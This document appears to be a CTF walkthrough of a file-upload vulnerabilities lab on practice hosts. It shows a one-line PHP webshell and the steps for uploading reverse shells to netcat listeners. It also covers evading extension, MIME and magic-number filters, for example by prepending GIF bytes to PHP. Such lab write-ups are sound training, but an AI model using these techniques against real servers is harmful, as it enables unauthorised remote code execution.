Upload Vulnerabilities
explore some of the vulnerabilities resulting from improper (or inadequate) handling of file uploads
General Methodoly:
As with any kind of hacking, enumeration is key. The more we understand about our environment, the more we're able to do with it. Scanning with a directory bruteforcer such as Gobuster is usually helpful in web attacks, and may reveal where files are being uploaded to. Intercepting upload requests with Burpsuite will also come in handy. Browser extensions such as Wappalyser can provide valuable information at a glance about the site you're targetting
Overwriting Existing Files
Web pages, for example, should not be writeable to the web user, thus preventing them from being overwritten with a malicious version uploaded by an attacker. If, however, no such precautions are taken, then we might potentially be able to overwrite existing files on the server
Open your web browser and navigate to overwrite.uploadvulns.thm
. Your goal is to overwrite a file on the server with an upload of your own
Remote Code Execution
RCE allow us to execute code arbitrarily on the web server. There are two basic ways to achieve RCE on a webserver when exploiting a file upload vulnerability: webshells, and reverse/bind shells
A simple webshell works by taking a parameter and executing it as a system command. In PHP, the syntax for this would be:
<?php
echo system($_GET["cmd"]);
?>
Reverse Shells:
We'll be using the ubiquitous Pentest Monkey reverse shell, which comes by default on Kali Linux, but can also be downloaded here.
edit line 49 of the shell. It will currently say $ip = '127.0.0.1'; // CHANGE THIS
-- as it instructs, change 127.0.0.1
to your IP address
start a Netcat listener to receive the connection. nc -lvnp 1234
:
upload the shell, then activate it by navigating to http://demo.uploadvulns.thm/uploads/shell.php
Task:
Navigate to shell.uploadvulns.thm
and complete the questions for this task.
Run a Gobuster scan on the website using the syntax from the screenshot above. What directory looks like it might be used for uploads?
gobuster dir -u http://shell.uploadvulns.thm/ -w "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt"
Results:
/resources (Status: 301)
/assets (Status: 301)
Get either a web shell or a reverse shell on the machine.
goto revershell.com > download PHP PentestMoneky shell
save as .php
update Ip address : 10.10.174.121 and port number
start a nc listener : nc -lvnp 4444
upload file to webpage > click file to execute a shell in nc listener
Filtering
Differences between client-side filtering and server-side filtering.
A script being "Client-Side" mean that it's running in the user's browser as opposed to on the web server itself. JavaScript is the client-side scripting language. a client-side script will be run in your web browser.Theoretically, this would seem like a good thing, right? In an ideal world, it would be; however, because the filtering is happening on our computer, it is trivially easy to bypass. As such client-side filtering by itself is a highly insecure method of verifying that an uploaded file is not malicious.
Conversely, a server-side script will be run on the server, PHP was the predominant server-side language or MS ASP for IIS. Server-side filtering tends to be more difficult to bypass
Different kinds of filtering
Extension Validation: File extensions are used (in theory) to identify the contents of a file.Filters that check for extensions work in one of two ways. They either blacklist extensions (i.e. have a list of extensions which are not allowed) or they whitelist extensions (i.e. have a list of extensions which are allowed, and reject everything else).
File Type Filtering: file type filtering looks to verify that the contents of a file are acceptable to upload.
MIME validation: MIME (Multipurpose Internet Mail Extension) types are used as an identifier for files. MIME types follow the format /. <type>/<subtype>. the MIME type for this upload was "image/jpeg". The MIME type for a file can be checked client-side and/or server-side; however, as MIME is based on the extension of the file, this is extremely easy to bypass.
Magic Number validation: Magic numbers are the more accurate way of determining the contents of a file;
File Length Filtering: File length filters are used to prevent huge files from being uploaded to the server via an upload form (as this can potentially starve the server of resources)
File Name Filtering: files uploaded to a server should be unique. adding a random aspect to the file name, check if a file with the same name already exists on the server, and give the user an error if so. file names should be sanitised on upload to ensure that they don't contain any "bad characters", which could potentially cause problems on the file system when uploaded (e.g. null bytes or forward slashes on Linux, as well as control characters such as ;
and potentially unicode characters)
File Content Filtering: scan the full contents of an uploaded file to ensure that it's not spoofing its extension, MIME type and Magic Number.
Bypassing Client-Side Filtering
client-side filtering tends to be extremely easy to bypass, as it occurs entirely on a machine that you control
four easy ways to bypass your average client-side file upload filter
1.Turn off Javascript in your browser
2.Intercept and modify the incoming page. Using Burpsuite
3.Intercept and modify the file upload
Send the file directly to the upload point.: you can send the file directly using a tool like
curl.
the syntax for such a command curl -X POST -F "submit:<value>" -F "<file-parameter>:@<path-to-file>" <site>. To use this method you would first aim to intercept a successful upload (using Burpsuite or the browser console) to see the parameters being used in the upload, which can then be slotted into the above command.
Challenge:
Navigate to java.uploadvulns.thm and bypass the filter to get a reverse shell.
Hint: The script is in the "client-side-filter.js" file. Either prevent this file from being loaded, or read the code to see what MIME type is accepted and bypass the filter using method three.
Using method 3:
s1. enumerate with gobuster: gobuster dir -u http://java.uploadvulns.thm/ -w "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt" t 64
File upload path found: ", /server-status and /assets"
go to page sourse find image format is png
create php pentest monkey revershell file here: https://www.revshells.com/
rename php shell as png
Run Burp suite > upload file and capture traffic > change filename in burp to .php >forward traffic to client side
go to http://java.uploadvulns.thm/images to verify file was successfully uploaded.
start a nc listener : nc -lvnp 1234 to listen to revershell
verify reverse shell is successfully started
capture the flag at /var/www/
Using method 2:
start traffic capture using burp suite
upload php file as is without renaming: rshell.php
add file to filename="": filename="rshell.php" > then forward traffic
confirm get request is success
navigate to http://java.uploadvulns.thm/images to verify file was successfully uploaded.
start a nc listener : nc -lvnp 1234 to listen to revershell
verify reverse shell is successfully started
Bypassing Server-Side Filtering: File Extensions
Here we have to perform a lot of testing to build up an idea of what is or is not allowed through the filter, then gradually put together a payload which conforms to the restrictions.The key to bypassing any kind of server side filter is to enumerate and see what is allowed, as well as what is blocked; then try to craft a payload which can pass the criteria the filter is looking for.
Challenge
figure out and bypass the filter to upload and activate a shell. Your flag is in /var/www/. The site you're accessing is annex.uploadvulns.thm.
s1: enumerate with gobuster to find file uploads directory:
gobuster dir -u http://annex.uploadvulns.thm -w "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt" t 64
directories: /privacy /asset ( privacy directory is where files are saved)
rename rshell file using file extension rshell.png.ph5
add attack machine ip address and port # to rshell.png.php5
select and upload file to site: http://annex.uploadvulns.thm (upload successful)
navigate to /privacy directory
activate listener: nc -lvnp 1234 to listen to shell connection.
Bypassing Server-Side Filtering: Magic Numbers
Magic numbers are used as a more accurate identifier of files. The magic number of a file is a string of hex digits, and is always the very first thing in a file. t's possible to use magic numbers to validate file uploads, simply by reading those first few bytes and comparing them against either a whitelist or a blacklist. https://en.wikipedia.org/wiki/List_of_file_signatures
file
command to check the file type of our shell:
Challenge
Bypass the magic number filter to upload a shell. Find the location of the uploaded shell and activate it. Your flag is in /var/www/
.
Site: magic.uploadvulns.thm
s1: enumerate with gobuster to find file uploads directory:
gobuster dir -u http://magic.uploadvulns.thm -w "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt" t 64
directory: /graphics /assets (unable to access dir)
page only accepts .gif file formats
navigate to https://en.wikipedia.org/wiki/List_of_file_signatures or magic byte gif to obtain file signatures for gif files: 47 49 46 38 37 61
edit rshell file to add 6 random characters to the first line, characters do not matter: used AAAAAA
open rshell in hex editor: hexeditor reshell.php
add 6 first 6 characters with magic number AAAAAA -> 47 49 46 38 37 61
OR can also just add the ISO number (GIF87a) at beginning of file and no need to use hex editor.
use file rshell to confirm file has been modified to gif format. (GIF87a)
start netcat listener: nc -lvnp 1234
navigate to url: http://magic.uploadvulns.thm and include directory and rshell URI: http://magic.uploadvulns.thm/graphics/rshell.php
shell found in netcat listener and flag obtained.
Example Methodology
The first thing we would do is take a look at the website as a whole. Using browser extensions such as the aforementioned Wappalyzer (or by hand) we would look for indicators of what languages and frameworks the web application might have been built with. A good start to enumerating this manually would be by making a request to the website and intercepting the response with Burpsuite. Headers such as
server
orx-powered-by
can be used to gain information about the server. We would also be looking for vectors of attack, like, for example, an upload page.Having found an upload page, we would then aim to inspect it further. Looking at the source code for client-side scripts to determine if there are any client-side filters to bypass would be a good thing to start with, as this is completely in our control.
We would then attempt a completely innocent file upload. From here we would look to see how our file is accessed. Can we access it directly in an uploads folder? Is it embedded in a page somewhere? What's the naming scheme of the website? This is where tools such as Gobuster might come in if the location is not immediately obvious. This step is extremely important as it not only improves our knowledge of the virtual landscape we're attacking, it also gives us a baseline "accepted" file which we can base further testing on. An important Gobuster switch here is the
-x
switch, which can be used to look for files with specific extensions. For example, if you added-x php,txt,html
to your Gobuster command, the tool would append.php
,.txt
, and.html
to each word in the selected wordlist, one at a time. This can be very useful if you've managed to upload a payload and the server is changing the name of uploaded files.Having ascertained how and where our uploaded files can be accessed, we would then attempt a malicious file upload, bypassing any client-side filters we found in step two. We would expect our upload to be stopped by a server side filter, but the error message that it gives us can be extremely useful in determining our next steps.
Final Challenge:
s1: enumerate with gobuster to find directory: gobuster dir -u http://jewel.uploadvulns.thm/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
dircectory: /content /modules /admin /assets /Content /Modules /Admin /Assets
Note: The content folder will contain files uploaded to the site.
inspect page uisng browser inspect tool
site is X-Powered-By Express means the site powered by node.js webserver OR also using Wappalyzer shows node.js webserver
download node.js exploit shell from https://www.revshells.com/
use burp suite to capture webpage traffic and remove client side filter: file size, magic number and file extension.
enumerate /content folder to see files uploaded: gobuster dir -u http://jewel.uploadvulns.thm/content -w UploadVulnsWordlist.txt -x jpg
files found: /ABH.jpg (Status: 200) /JVE.jpg (Status: 200) /LKQ.jpg (Status: 200) /SAD.jpg (Status: 200) /UAD.jpg (Status: 200)
rename rshell.js file to rshell.jpg > upload the file webpage
rerun gobuster to find new upload file path:
dir -u http://jewel.uploadvulns.thm/content -w UploadVulnsWordlist.txt -x jpg
new file paths: /RSD.jpg /WBM.jpg XFD.jpg /YYW.jpg
setup netcat listener: nc -lvnp 1234
nagivate to /admin page: http://jewel.uploadvulns.thm/admin
go to the file pah found using: ../content/RSD.jpg
shell found in nc listener: Connection from 10.10.11.150 43494 received!
cd /var/www/ to find flag.txt file.
Last updated